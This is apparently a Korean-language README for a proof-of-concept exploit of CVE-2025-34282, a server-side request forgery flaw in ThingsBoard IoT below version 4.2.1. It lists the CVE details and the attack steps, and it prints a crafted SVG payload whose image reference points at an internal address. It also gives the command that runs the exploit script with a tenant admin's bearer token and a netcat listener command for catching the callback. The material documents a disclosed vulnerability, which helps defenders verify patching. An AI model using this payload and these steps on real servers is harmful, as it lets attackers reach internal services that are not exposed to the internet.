mathitam/thingsboard-ssrf-cve-2025-34282CVE-2025-34282에 대한 PoC 익스플로잇 - SVG 이미지 업로드를 통한 ThingsBoard SSRF
ThingsBoard IoT 플랫폼 4.2.1 미만 버전에서 발생하는 SSRF(Server-Side Request Forgery) 취약점입니다.
테넌트 관리자 권한을 가진 공격자는 Image Upload Gallery를 통해 내부 URL 참조가 포함된 조작된 SVG 파일을 업로드할 수 있습니다. ThingsBoard가 서버 측에서 SVG를 처리할 때 참조된 URL을 가져와 인터넷에 노출되지 않은 내부 서비스에 접근할 수 있습니다.
| 필드 | 상세 |
|---|
| CVE | CVE-2025-34282 |
| 영향받는 버전 | < 4.2.1 |
| 수정된 버전 | 4.2.1 |
| CVSS 점수 | 6.9 Medium |
| CWE | CWE-918 (Server-Side Request Forgery) |
| 공급업체 | https://thingsboard.io |
POST /api/image에 악성 SVG를 업로드합니다.
publicLink를 <object> 태그로 포함하는 사용자 정의 위젯을 생성합니다.
ssrf_localhost_5555.svg 페이로드는 내부 URL 참조를 포함합니다:
<image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
업로드되면 ThingsBoard 서버가 http://127.0.0.1:5555를 가져와 SSRF를 확인합니다.
요구 사항:
pip install requests
실행:
python thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py <svg_file> <bearer_token>
예시:
python thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py ssrf_localhost_5555.svg eyJhbGci...
익스플로잇을 실행하기 전에 SSRF 콜백을 받기 위해 리스너를 시작하세요:
nc -l 5555
Tamil Mathi T.